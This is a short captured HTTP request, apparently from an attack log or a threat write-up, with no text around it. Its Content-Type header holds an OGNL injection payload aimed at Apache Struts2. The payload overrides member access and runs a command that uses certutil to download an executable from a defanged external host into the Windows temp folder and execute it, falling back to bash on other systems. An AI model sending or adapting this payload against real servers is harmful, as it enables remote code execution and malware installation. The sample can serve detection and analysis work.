Connection: Keep-Alive..Content-Type: %{(#nike='multipart/form- data').(#
[email protected]@DEFAULT_MEMBER_ACCESS).(#_member Access?(#_memberAccess=#dm): (#cmd='cmd.exe /c certutil.exe -urlcache -split -f hxxp://xxx.xxx.com/download.exe C:/Windows/temp/fexbxidrwkqkbyt9335.exe & cmd.exe /c C:/Windows/temp/fexbxidrwkqkbyt9335.exe').(#iswin=(@java.lang.System@ getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'c md.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process= #p.start()). Accept: */*..Accept-Language: zh-cn User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1) Host: hogehoge.com:82